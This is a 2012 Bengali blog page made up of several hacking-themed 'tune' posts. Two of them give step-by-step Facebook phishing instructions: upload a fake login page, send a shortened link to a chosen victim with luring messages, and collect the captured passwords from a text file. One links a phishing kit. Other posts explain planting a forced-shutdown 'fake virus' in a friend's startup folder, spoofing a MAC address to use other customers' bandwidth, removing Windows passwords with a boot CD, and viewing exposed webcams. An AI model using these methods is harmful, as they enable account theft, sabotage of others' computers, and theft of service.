Wednesday, May 2, 2012

Facebook Hacking !!!





“বিসমিল্লাহির রাহমানির রাহিম”
বিদ্রঃ এই টিউনটি বা সফটওয়্যার গুলো দ্বারা কেউ ক্ষতিগ্রস্থ হলে আমি দায়ী থাকব না। তবে কেউ যদি কোন ভাবে সামান্য ক্ষতিগ্রস্থ হয় তবে এই টিউনটি নিঃদিধায় ডিলিট বা পাসওয়ার্ড প্রোটেক অথবা ডাউনলোড লিঙ্কটি বন্ধ করা হবে। বর্তমানে ফেসবুক আই.ডি হ্যাক করা সবচেয়ে কঠিন কারন এর নিরাপত্তা সবচেয়ে জোরদার তাই এই পদ্ধত্তি ছাড়া অন্য কেন পদ্ধত্তি নেই।( কীলগার ব্যাতীত)
facebook
সবাইকে স্বাগতম আমার আজকের টিউনিং পেজে। আশা করি আপনারা সবাই ভাল আছেন। আজ আমি আপনাদের ফেসবুক হ্যাকিং সম্পর্কে ট্রিকস্ দিব। আমরা সকলেই জানি বর্তমানে ফেসবুক আই.ডি হ্যাক করা সোজা ব্যাপার নয়। কেবল মাত্র অতি দক্ষ্য হ্যাকার ছাড়া এটি সম্ভব নয়। তাই বর্তমান যে সকল ফেসবুক আই.ডি হ্যাক হচ্ছে তা সবই কীলগার সফটওয়্যারের মাধ্যমে। তবে এই ট্রিকসটির মাধ্যমে কীলগার ছাড়াও কারও ফেসবুক আই.ডি হ্যাক করা সম্ভব। এসব ট্রিকসটি দিয়ে আপনি একদিকে অন্যের উপকার অথবা আপকার করতে পারেন। সে চিন্তা আপনার বিবেকের কাছে রইলো। এই পৃথিবীর প্রতিটি বিষয়ের ভাল মন্দ দিক রয়েছে। একজন ডাক্তার চাকু দিয়ে যেমন রোগীকে সুস্থ করেন আবার অন্যদিকে একজন আপরাধী সেই চাকু দিয়ে অসৎ ভাবে মানুষের অপকার করে। এখানে কেবল মাত্র ব্যক্তির অবস্থান পরিবর্তন হয়েছে। তবে এ কথা সত্য যে অপরাধের বিচার একদিন হবেই, হোক সেটা ইহকালে বা পরকালে। আমার এই টিউটির উদ্দেশ্য আপনাদের উপকার করা, তবে কোন ভাবে যদি কেউ এর আপব্যবহার করে তবে ভবিষৎতে এর থেকে ১০০গুন উন্নত মানের হ্যাকিং টিউন আমি আর করবো না। যাক অনেক কথাই বলে ফেললাম এখন কাজের কথায় আসি…
__________________________________________________________________________________________________
১। প্রথমে এখান থেকে "Facebook Hacking" টি ডাউনলোড করুন।
২।এর ভিতরে মোট দুইটি ফাইল পাবেন, যথাক্রমেঃ
  1. Index.html
  2. write.php
৩। এখন এই তিনটি ফাইলকে যেকোন webhost সাইটে আপলোড করেদিন। যেমনঃ
৪। এবার Index.html নামক ফাইলটির লিঙ্ক আপনার কাঙ্খিত ব্যক্তির নিকট পাঠিয়ে দিন এবং তাকে লগিং করতে বলুন। তাকে লগিং করতে বাধ্য করবার জন্য নানা রকমের চাটু মূলক কথা বা হতভম্ব হবার মতন অথবা উত্তেজনা মূলক কথা মেইলে লিখতে পারেন। এছাড়া ফেসবুকে মেসেজ আকারে লিঙ্কটি দিতে পারেন এতে সন্দেহের মাত্র কম হবে। তারপর কেবল আপেক্ষার পালা।
৫। যখন সে Index.html এ তার ফেসবুক আই ডি এবং পাসওয়ার্ড লিখতে তা সাথে সাথে "passes.txt" নামে আপনার webhost সাইটে সেভ হবে।
Facebookphishing
৬। এখন "passes.txt" ফাইলটি ওপেন করে আপনার কাঙ্খিত ব্যক্তির ফেসবুক আই ডি এবং পাসওয়ার্ড দেখতে পাবরেন।
pass
আসা করি আমার এই টিউনটি আপনাদের কাজে লাগবে। আর ভাল লাগলে আমাকে অবশ্যই কমেন্ট করবেন। সবার প্রতি অনুরোধ রইলো এর অপব্যবহার না করবার।

নকল ভাইরাস তৈরী করে আপনার বন্ধুর কম্পিউটার অচল করে দিন (প্রমাণ সহ)


আসসালামুআলাইকুম

আশা করি সবাই ভালো আছেন। আমার টিউনগুলো আপনাদের কাছে কেমন লাগে তা জানি না। তবে আমি আপনাদের জন্য সবসময় নতুন এবং আর্কষনীয় টিউন করার চেষ্টা করি। যাহোক আমি আপনাদের জন্য আজকের যে টিউনটি করছি এটি মুলত কারো ক্ষতি করার জন্য নয়। এবং আমি আশা রাখি যে আপনারাও এটি দিয়ে কারো কোন ক্ষতি করবেন না। আসুন এবার টিউনটি শুরু করি।

সর্তকতা:

এই কোডটি দিয়ে কেউ ক্ষতিগ্রস্ত হলে আমি দায়ি থাকবো না। দয়া করে এই কোডটির কেউ অপব্যবহার করবেন না।

কোডটির বৈশিষ্ট্য:

এই কোডটি চালু করলে কম্পিউটার একটি নির্দিষ্ট সেকেন্ড এর পরে অটোমেটিক শার্টডাউন হবে।

নকল ভাইরাস তৈরীর ধাপ সমূহ:

১. আপনার কমি্পউটারের ডেস্কটপ এ রাইট ক্লীক করুন।


২. এখন New থেকে Shortcut নির্বাচন করে ক্লীক করুন।

৩. ফলে একটি ডায়ালগ বক্স আসবে।


৪. সেখানে নিচের কোডটি কপি করে পেষ্ট করে দিন।

shutdown -s -t 20 -c "Your computer has been infected it will now restart."

৫. Next বাটনে ক্লীক করুন।


৬. শর্টকাট নেম এ দেখবেন shutdown লেখা আছে। (আপনি shutdown এর বদলে অন্য নামও ব্যবহার করতে পারবেন)
৭. Finish বাটনে ক্লীক করে কাজ শেষ করুন।

এবার আসুন কোডটি সম্পর্কে বিস্তারিত জানার চেষ্টা করি:

যদি আপনারা কোডটি একটু ভালভাবে দেখার চেষ্টা করেন তাহলে আপনারা কোডটির মধ্যে তিনটি মেইন কোড দেখতে পাবেন। যারা কম্পিউটার শার্টডাউন করতে আপনার সহায়তা করবে। কোড তিনটি হলো:

১. shutdown -s

২. -t 20

৩. -c

অথবা


বিবরণ:
১. shutdown -s দ্বারা বুঝায় শার্টডাউন বা shutdown।
২. -t 20 দ্বারা বুঝায় যে কম্পিউটার কত সেকেন্ড পরে অটোমেটিক বন্ধ হবে বা countdown timer until computer turns off।
৩. -c দ্বারা বুঝায় যে ("") ঘরের মধ্যে লেখাগুলো হলো কমেন্টস বা comment wich is then followed by "" wich is what the comment is।

যদি আপনি উপরে উল্লেখিত নিয়ম এ নকল ভাইরাস তৈরী করতে বিরক্ত বোধ করেন তাহলে নকল ভাইরাসটি আপনার কম্পিউটারে ডাউনলোড করে নিন। সাইজ মাত্র ৭০ কিলোবাইট।


এবার আসুন শিখে নেই কীভাবে এই কোডটি ব্যবহার করতে হবে:

আপনি এটি কোড দুইটি দুইভাবে ব্যবহার করতে পারবেন।
১. সরাসরি চালু করে।
২. স্টার্টআপ ফোল্ডারে পেষ্ট করে।

বিবরণ:
১. যদি আপনি সরাসরি চালু করেন তাহলে কিছুক্ষন পরে কম্পিউটার অটোমেটিক বন্ধ হয়ে যাবে। এতে আপনার কোন ক্ষতি হবে না।
২. স্টার্টআপ ফোল্ডারে কপি করে দিলে কম্পিউটার চালু হবে ঠিকই কিন্তু কম্পিউটার ২০ সেকেন্ড পরে অটোমেটিক বন্ধ হয়ে যাবে। [বি:দ্র: এই কৌশলটি দিয়ে আপনি ক্ষতি গ্রস্ত হতে পারেন।]

এতক্ষন ধরে শুধু বকবক করলাম। আপনারা হয়ত ভাবছেন সবই ঠিক আছে কিন্তু প্রমান কোথায়?

প্রমাণ:

গতকাল আমি আমার একটি বন্ধুর বাড়িতে যাই। বন্ধুর নাম হলো সেতু। গিয়ে তার কম্পিউটারে বসি। এবং উপরে উল্লেখিত কোডটি ব্যবহার করে তার কম্পিউটার এ একটি নকল ভাইরাস তৈরী করি। তার পর এ নকল ভাইরাসটি পেষ্ট করে দেই স্টার্টআপ ফোল্ডারে। তার পর তার কাছ থেকে কিছু গেমস এবং সফটওয়্যার সংগ্রহ করে বাসায় ফিরে আসি। আজ সকালে সে আমার বাসায় আসে এবং বলে যে তার কম্পিউটারে ভাইরাস ঢুকেছে। এবং সে আমার কাছে সাহায্য চায় এই বলে: আব্দুর রহিম আমার কম্পিউটারে ভাইরাস ঢুকেছে। ফলে কম্পিউটার ৫ থেকে ৬ মিনিট পরে অটোমেটিক বন্ধ হয়ে যাচ্ছে। যদি তুমি আমার কম্পিউটারটা ভালো করার চেষ্টা করো তাহলে খুবই ভাল হতো। আমি তাকে বললাম ঠিক আছে চলো দেখি তোমার কম্পিউটারে কী হয়েছে। আমি তার কম্পিউটার এ বসে শুধু স্টার্টআপ ফোল্ডার থেকে ফেক ভাইরাস নামের শর্টকাটটি ডিলিট করে দিলাম এবং কম্পিউটার রিস্টার্ট দিলাম। তার পরে তার কম্পিউটার ভালো হয়ে গেল। তার বাসা থেকে বের হয়ে তাকে সব ঘটনা খুলে বললাম। আমার কথা শুনে হাসতে হাসতে তার পেট ফুলে গিয়েছিলো।

আমি আবারো অনুরোধ করছি দয়া করে কেউ এই টিউনটির অপব্যবহার করবেন না। আমি এটি আপনাদের সাথে শেয়ার করলাম শুধু মাত্র আপনাদের কাছে আমার এই ছোট ট্রিকসটি পৌছিয়ে দেওয়ার জন্য। ভাল লাগলে বা কোন মন্তব্য থাকলে বা কোন ভুল ত্রুটি থাকলে কমেন্টস করতে আলসেমি করবেন না যেন।

ইন্টারনেটের গতি কম? IP হ্যাক করে বেশি গতির নেট ব্যবহারের জন্য এটি দেখুন!!!

আসসালামু আলাইকুম। কেমন আছেন সবাই? আশা করি সবাই আল্লাহর রহমতে ভালোই আছেন। আজকে যেটা নিয়ে লিখতে বসেছি তা হল হ্যাকিং। হ্যাকিং শব্দটা শুনলেই কেমন জানি আমাদের চোখ চকচক করে ওঠে! এটাকে অবশ্য হ্যাকিং না বলে ক্র্যাকিং বলাই ভাল! কারণ এখানে আমি যা লিখতে যাচ্ছি তা কোন গবেষণা নয় বরং ISP কে বোকা বানিয়ে অন্যের আইপি ব্যাবহার করে  বেশি ব্যান্ডউইথ ব্যবহার করা। পোষ্টা প্রথমে দিতে চাইনি কিন্তু অনেকেই এই ট্রিক্সটা জানার জন্য উতালা হয়ে আছেন। আর তাই অবশেষে আমি এটা নিইয়ে লিখতে বসলাম। এ্যাডভান্সড ব্যবহারকারীরা অবশ্য আগে থেকেই এই ব্যপারে হাফেজ! কিন্তু যারা নতুন তাদের জন্যই এই টিউনটি করছি আর বড় ব্যাপার হল আপনি যদি বেশি ব্যান্ডউইথের কানেকশন নিয়েও ঠিক মত ইন্টারনেট ব্যবহার করতে না পেরে থাকেন, তবে এর সাহায্যে (যে সফটওয়্যার গুলো আমি দিব) আপনি আপনার কানেকশন অন্যকেও ব্যবহার করছে কিনা তাও হয়ত জানতে পারবেন।  যাই হোক এবার কাজের কথায় আসি। আপনারা যারা ব্রডব্যান্ড ইন্টারনেট সংযোগ ব্যবহার করেন তারা খুব সহজেই আপনার ISP এর অন্য কোন ব্যবহারকারীর কানেকশন ব্যবহার করে উচ্চগতি লাভ করতে পারেন। তার জন্য আপনার নিচের সফটওয়্যারটি ডাউনলোড করতে হবে। এরপর একে এক্সট্রাক্ট করার পর এর ভিতরে ipscan.exe রান করে আপনার হোস্টের IP গুলো দেখে নিন। নিচের ছবির মতো করে অনুসরণ করুন।
১. প্রথমে যা করবেন

২.

৩.

৪.

৫. এবার TMAC ইন্সটল করুন।

৬. TMAC এ্যাডমিনিস্ট্রেটর হিসেবে রান করুন।

৭. এর পর আপনার ম্যাক চেঞ্জ করে নিন এবং ঐ ম্যাকে ব্যবহৃত আইপি যোগ করুন। কোথায় কি করতে হবে তা সংক্ষেপে ছবিতে দেওয়া হল।

৮. কাজ শেষ এবার দেখুন আপনার আই ডি-ই পুরা চেঞ্জ। :) :)
আরও বিস্তারিত পরে কখোনও লিখব যদি প্রয়োজন হয়!!!
আর আপনাদের সুবিধার্থে প্রয়োজনীয় সফটওয়্যার গুলি একই আর্কাইভে দিয়ে দিলাম। এগুলো ফ্রী ওয়্যার তাই সিরিয়াল বা ক্র্যাকের ঝামেলা নেই। ডাউনলোড করতে এখানে ক্লিক করুন।
জানিনা কেমন লাগল আপনাদের। সবাই ভাল থাকবেন, এই কামনায় আজ এই পর্যন্তই। ভাল থাকুন সুস্থ্য থাকুন এই কামনায়।আর ভাল লাগলে মন্তব্য করতে ভুলবেননা। আল্লাহ হাফেজ।

উইন্ডোজ এক্সপি ভিস্তা এবং সেভেন এর password রিমুভ করুন মাএ এক মিনিটে । কি বিশ্বাস হচ্ছে না……?



প্রথমে সবাইকে আমার সালাম। উইন্ডোজ এর ইউজার password আমরা অনেক সময় ভুলে যাই আর এর জন্য নতুন করে উইন্ডোজও Install করে ফেলি আবার অনেকে অনেক জটিল পদ্দতি অনুস্মরণ করতে গিয়ে উইন্ডোজ এর ১২ টা বাজিয়ে ছেরে দেই। কি দরকার এত কিছু করার...? আজ আমার টিউন এর শিরোনাম দেখে হইত অনেকে অবাক হবেন কারণ এক মিনিটে কি করে এর উইন্ডোজ password রিমুভ করা যাই ?
হ্যা সেটাই দেখাব আজ আপনাদের, তার জন্য যা করতে হবে তা হল ছোট্ট একটি Bootable (ISO) software (8.44 MB) সিডিতে কপি করতে হবে, কপি শেষ হলে যে কম্পিউটারের password রিমুভ করা ধরকার সেই কম্পিউটারের CD-ROM-এ password রিমুভ করার সিডিটি ঢোকান, তার পর কম্পিউটার Restart করে CD থেকে Boot করুন, তার পর দেখবেন উইন্ডোজ এক্সপির মত সেটাপ হচ্ছে, তা দেখে ভয় পাবেন না বা ভাববেন না যে উইন্ডোজ এক্সপি সেটাপ হচ্ছে। একটু অপেক্ষা করুন দেখবেন Dos mod চলে আসছে এবং সেখানে সব গুলো ড্রাইব স্কেন করে যে ড্রাইবে উইন্ডোজ আছে সেটা দেখাবে।
প্রথম ধাপে আপনাকে ড্রাইব সিলেক্ট করতে বলবে ( ড্রাইব এর পাশে যে নাম্বার দেওয়া থাকবে সেটা চেপে এন্টার দেন) তার পর দ্বিতীয় ধাপে সব গুলো ইউজার নিছে দেখাবে এখান থকে যে ইউজার এর password রিমুভ করবেন সেই ইউজার এর পাশের যে নাম্বার দেওয়া থাকবে সেটা চেপে এন্টার দেন। তার পর আপনাকে বলবে আপনি কি সত্যি-ই password টি রিমুভ করতে চান ? উওর Yes হলে (Y) আর No হলে (N) চেপে এন্টার দিয়ে সিডি টি বের করে কম্পিউটার Restart করে দেখেন আর password দেওয়ার জন্য বলছে না। ভাল লাগলে মন্তব্য করবেন আর Bootable software টি ডাউনলোড করুন নিছের লিংক থেকে।

ডাউনলোড করোন এখান থেকে

ফেইসবুক হ্যাক করুন,,জানুন এবং নিজে বাচুন।


আসসালামু আলাইকুম। টেকটিউনার ভাইয়েরা কেমন আছেন? আশা করি সবাই ভাল আছেন। আমার আজকের টিউনটি যারা হ্যাকিংয়ে আগ্রহি মুলত তাদের জন্য। হ্যাকিং সম্পর্কে যাদের ভুল ধারনা আছে দয়া করে তারা এই পোষ্টটি দেখবেন না। আমরা যদি না জানি কিভাবে হ্যাক হয় তবে আমরা কিভাবে হ্যাকারদের কবল থেকে বাচব? যাই হোক যে যা মনে করার করুক আমরা আমাদের কাজ চালিয়ে যাই। শুরু করছি আমার আজকের টিউন কিভাবে কোন ফেইসবুক ব্যবহারকারির পাসওয়ার্ড হাতিয়ে নেয়া যায়।
আমরা যারা হ্যাকিং কি জানি তারা সবাই কমবেশি পিশিং এর সাথে পরিচিত। যারা পরিচিত নন দয়া করে টেকটিউনস এর হ্যাকিং সেকশনে গিয়ে একটু চোখ বুলান,সহজেই জেনে যাবেন। আমাদের টিউনার ভাইরা এ সম্পর্কে অনেক টিউন করেছেন,তাই আজ আমি পিশিং সম্পর্কে কথা বলে সময় নষ্ট করব না। ফেইসবুক পিশিং হ্যাক করার জন্য অবশ্যই আমাদের পিশিং স্ক্রিপ্ট লাগবে,তবে যা তা স্ক্রিপ্ট দিয়ে ফেইসবুক হ্যাক সম্ভব নয় কারন ফেইসবুক কর্তপক্ষ এ ব্যাপারে যথেষ্ট সচেতন এবং তারা সবসময়ই এ্যান্টি পিশিং স্ক্রিপ্ট আপডেট করে। তবে আমি আপনাদের জন্য আজ নতুন একটি স্ক্রিপ্ট নিয়ে হাজির হয়েছি যা ১০০% কাজ করবে। স্ক্রিপ্টটি নিচের লিন্ক থেকে ডাউনলোড করুন।
লিন্ক: http://www.ziddu.com/download/14795674/SMARTFACEBOOKPHISHINGBY.html
ডাউনলোড করা .rar ফাইলটি এবার Extract করুন।১টি ফোল্ডারের ভিতর নিম্নোক্ত নামের ৩টি ফাইল আপনি দেখতে পাবেন।
১।Index.html
২।login.php
৩।log.txt
এবার এই সাইটটিতে প্রবেশ করুন এবং রেজিষ্টার করুন। স্ক্রিনশট লক্ষ্য করুন:

রেজিষ্টার করা শেষ হলে লগইন করুন। আপনার লগইন যদি সফলভাবে সম্পন্ন হয় তাহলে সাইটটি আপনাকে আপনার URL Name দেখাবে এবং আপনাকে সরাসরি কন্ট্রোলপ্যানেলে নিয়ে যাবে। আপনার URL Name টি মনে রাখুন। স্ক্রিনশট দেখুন:

এটি একটি ফ্রি-হোষ্টিং সাইট। আপনি অন্য যে কোন ফ্রি হোষ্টিং সাইটে গিয়ে কাজগুলো করতে পারেন। এবার ফাইলম্যানেজারে প্রবেশ করুন। এখানে index.html নামের একটি ফাইল দেখতে পারবেন,ফাইলটি ডিলেট করুন এবং ডাউনলোড করা ৩টি ফাইল আপলোড করুন। স্ক্রিনশট দেখুন

এবার http://bit.ly/ এই সাইটটিতে যান। কিছুক্ষন আগে আপনাকে দেওয়া লিন্কটি কপি করে খালি বক্সটিতে পেষ্ট করুন এবং shorten এ ক্লিক করুন। স্ক্রিনশট দেখুন:

শর্ট হওয়া লিন্কটি দেখতে পাবেন। স্ক্রিনশট:

যার ফেইসবুক পাসওয়ার্ড হ্যাক করতে চান তাকে শর্ট করা লিন্কটি অত্যন্ত কৈাশলের সাথে দিন। সে যখন লিন্কটিতে ক্লিক করবে তখন সে ফেইসবুকের লগইন পেজ দেখবে এবং সেখানে সে লগইন করবে। স্ক্রিনশট:

এখানে কিছু নতুন ফিচার যুক্ত করা আছে যা দেখে যে কেউ লগইন করবে। এবং সে যখন তার ইউজার নেম এবং পাসওয়ার্ড দিয়ে লগইন করবে তখন তার ইউজার নেম এবং পাসওয়ার্ডটি আপনার হোস্টিং এ সেভ হয়ে যাবে এবং সেভ হওয়া ইউজারনেম ও পাসওয়ার্ডটি বের করতে আপনার হোস্টিং এর ফাইল ম্যানেজারে যান এবং আপলোড করা ফাইলের মধ্যে log.txt তে ক্লিক করুন। পেজ ওপেন হলে আপনার প্রত্যাশিত ইউজার নেম এবং পাসওয়ার্ডটি দেখতে পারবেন।
লিন্কটি যতবার কাউকে দিবেন ততবারই url shortner দিয়ে নতুন করে শর্ট করে দিবেন। তানাহলে লিন্কটি ব্লক করে দিতে পারে। আর লিন্কটি আসলেই কাজ করছে কিনা তা পরীক্ষা করতে নিজের যে কোন ফেইসবুক অ্যাকাউন্ট দিয়ে টেষ্ট করুন। কাজ করবেই করবে যদি কোন সমস্যা হয় কমেন্টে বলবেন আমি সমাধান দিব তবে প্লিজ দয়া করে অন্য কারো ক্ষতি করবেন না। নিজেকে এমন হ্যাকিংয়ের ফাদ থেকে সুরক্ষিত রাখুন। টিউন কেমন হয়েছে জানাবেন এবং কোন ভুল হলে ক্ষমা করবেন। সবাই ভাল থাকবেন,ধন্যবাদ।

Live দেখুন বিশ্বের যে কোন প্রান্তের হাজারও সিকিউরিটি ক্যামেরা!

বিসমিল্লাহির রহমানীর রাহীম।
আশা করি সবাই ভালো আছেন। আমরা অনেকেই ইন্টারনেটে অনেক কিছু নিয়ে ঘাটা ঘাটি করি। কিন্তু যদি একটু ভাবেন তাহলে দেখবেন যে আনকমন জিনিষ গুলো নিয়ে কম সংখ্যক মানুষই নেটে সার্চ করে। আর যারা সার্চ করেন তাদের মধ্যে বেশ কিছু ভাগ্যবানরাই খুবই তারাতারি তাদের জিনিষ গুলো খুজে পান। অনেকে আবার ইন্টারনেটে বসে বসে শুধু ওয়েব ক্যাম দেখেন। অবশ্য এটার পেছনেও বেশ কিছু কারণ থাকতে পারে। অনেকে বলে যে ফ্রী ফ্রী দুনিয়া দেখা হচ্ছে। হাঃ হাঃ । অবশ্য এটা যুক্তি ছাড়া কথা নয়। যাহোক এখন আমি আপনাদের সাথে একটা ওয়েব সাইটকে পরিচয় করিয়ে দেব। মূলত এই ওয়েবসাইটটি দিয়ে আপনারা ঘরে বসেই বিশ্বের যে কোন প্রান্তের ওয়েব ক্যামগুলো দেখতে পারবেন। আমার এই ওয়েব সাইটটি একটি বিশেষ কারণে বেশ ভালো লেগেছে। আর সেটা হলো ক্যাটাগরি। আপনি ক্যাটাগরি বাছাই করে আপনার ওয়েবক্যাম টি লাইভ দেখতে পারবেন।

কাজ শুরুঃ

  • এখানে ক্লীক করে ওয়েব সাইটটিতে যান।
  • একটু খেয়াল করলেই ওয়েব সাইটটির ডান দিকে ক্যাটাগরি এর ড্রপডাউন মেনু দেখতে পারবেন।
  • সেখান থেকে আপনার ক্যাটাগরিটি নির্বাচন করুন।

  • এবার অনেক জায়গার ওয়েব ক্যাম দেখতে পাবেন।

  • যে ওয়েবক্যামটি দেখতে চান সেটির উপরে ক্লীক করুন।

  • ব্যাস। এবার দেখতে থাকুন আপনার ওয়েবক্যামটি তাও আবার লাইভ।

SFC – System File Checker


সমস্যাটা আমার শুরু হয়েছিল কম্পিউটারে থিম ইন্সটল করা নিয়ে। কম্পিউটারকে দেখতে সুন্দর করে তোলার জন্য আমি যা খুশি তাই করতাম। এইজন্য মাঝে মাঝে ৩য় পার্টির থিম খুঁজতাম। কিন্তু কোনটাই ভাল লাগত না, কিছুদিন পর পর নতুন থিম দিতাম।
একবার একটা খুব ভাল লাগল, কিন্তু সেটার সমস্যা ছিল, মেন্যু বার গুলোর সাথে মিশে যায়, ফলে লেখাগুলো বোঝা যায় না। যখন এটা মুছে ফেলতে চাইলাম, তখন বাঁধল বিপত্তি। থিম মুছে ফেললেও এর প্রভাব কম্পিউটারে থেকেই গেল। কোন প্রকারেই সমাধান পাইলাম না। কিছু কিছু মেন্যু কাল দেখাত। Control Panel এর লেখাগুলো বোঝাই যেত না।
এই সময় আমি পরিচিত হয় Command Promt এর SFC বা সিস্টেম ফাইল চেকারের সাথে। আমি ভেবেছিলাম, উইন্ডোজ নতুন করে সেটাপ দিতে হবে। কিন্তু SFC এর বদৌলতে তা আর করতে হল না। আমার কম্পিউটারের সকল করাপ্টেড ফাইল ঠিক হয়ে গেল।
SFC ডিফল্ট হিসেবে উইন্ডোজে থাকে। এর পুরো অর্থ হল System File Checker. এটি রান করার জন্য প্রথমে কমান্ড প্রম্পটে যান। এরপর লিখুন – sfc /scannow
তাহলেই স্ক্যান শুরু হবে। এর কাজ হচ্ছে, কোন কারনে কোন সফটওয়্যারের দ্বারা, প্যাচের দ্বারা, বা কোন তৃতীয় পক্ষের ফাইল দ্বারা কম্পিউটারের ফাইল নষ্ট হলে এটি তা পুনঃ নির্মাণে দক্ষ। আমি যখন এটি চালু করেছিলাম, তখন এটি আমার সিস্টেম ফাইলগুলো নিজে নিজেই ঠিক করেছিল এবং আমি আমার কম্পিউটারের সুস্থ রূপ ফিরে পেয়েছিলাম। SFC আপনার কম্পিউটারের সিস্টেম ফাইল স্ক্যান করে, যদি কোন অস্বাভাবিকতা লক্ষ করে, তাহলে তা রিস্টোর করে দেয়। এজন্য মাঝে মাঝে করাপ্ট ফাইল ঠিক করতে আপনার উইন্ডোজ ডিস্কও চাইতে পারে। যদি আপনার কম্পিউটারে অস্বাবভাবিক কোন সমস্যা থাকে, বা এমন কিছু হয় যা হাজার দাওয়াই দিয়েও লাভ হচ্ছে না, তাহলে অন্তত উইন্ডোজ সেটাপ দেয়ার আগে এটা একবার ট্রাই করুন। বলা যায় না, ঠিক হতেও পারে এবং সফল হওয়ার সম্ভাবনাই বেশি। আবার মনে করিয়ে দিচ্ছি। যদি আপনি এক্সপি ব্যবহার করেন, তাহলে Run এ গিয়ে cmd লিখুন এবং এতে টাইপ করুন sfc /scannow এবং এন্টার চাপুন।
যদি উইন্ডোজ ৭ ব্যবহার করেন, তাহলে সরাসরি সার্চ করে cmd ঢুকে একই কমান্ড লিখে এন্টার চাপুন।
আপনাদের কৌতূহলের জন্য বলছি, যদি আরো কিছু অতিরিক্ত Parameteres জানতে চান, তাহলে লিখুন sfc /?

আপনার মোডেমের গতি বাড়াতে চাইলে এই পোস্টটি দেখুন


আসসালামু আলাইকুম আশা করি সবাই ভাল আছেন ।আমার আগের টিউন গুলা যে খুবই খারাপ হয়েছে তা আপনাদের কমেন্টের মাধ্যমেই বুঝেছি :( ।কিন্তু কি করব বলুন ? আমিতো টি টি তে নতুন তাই পাঠকদের ভালমত বুঝে উঠতে পারিনি যে তারা কি চাচ্ছে । তাই আজকে কিছুটা ভাল করার চেষ্টা করেছি । ভূল ত্রুটি হলে Please ক্ষমা করে দেবেন ।:|
আজ আমি আপনাদের দেখাব কি করে Brodband বা মোডেমের স্পিড বাড়ানো যায় ।এ সম্পর্কে আপনারা অনেকেই হয়ত জানেন ।কিন্তু যারা জানে না তাদের জন্যই মূলত আমার এ টিউনটি ।

তো আসুন শুরু করা যাক….
প্রথমেই Run সিলেক্ট করে সেখানে নিচের ছবির মত gpedit.msc কোডটি টাইপ করুন ও ওকে বাটন প্রেস করুন
২ (1)


এখন নিচের মত একটি ইন্টারফেস আসবে ।বাম পাশের মেন্যু থেকে Administarative Templates Select করুন

২

তাহলে নিচের মত একটি ইন্টারফেস পাবেন ।এখান থেকে Network Select করুন ।

৩

সবকিছু ঠিকঠাক ভবে করা হলে আপনি নিচের মত একটি বক্স পাবেন :

৪

বক্স থেকে QoS Packet Scheduler সিলেক্ট করলে একটি নিচের মত একটি উইন্ডো পাবেন

৫

এখান থেকে Limit reservable bandwidth Select করলে নিচের মত একটি নিউ উইন্ডো ওপেন হবে।

৬

হুম অনেক কাজ করে ফেলেছেন । এখন এখান থেকে Enabled রেডিও বাটনে ক্লিক করে আপনার Bandwidth limit 20 % থেকে কমিয়ে 0% এ নামিয়ে দিন । নিচের ছবির মত :

৭


এখন কম্পিউটার রিস্টার্ট করুন আর উপভোগ করুন High Speed on your broadband system . :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D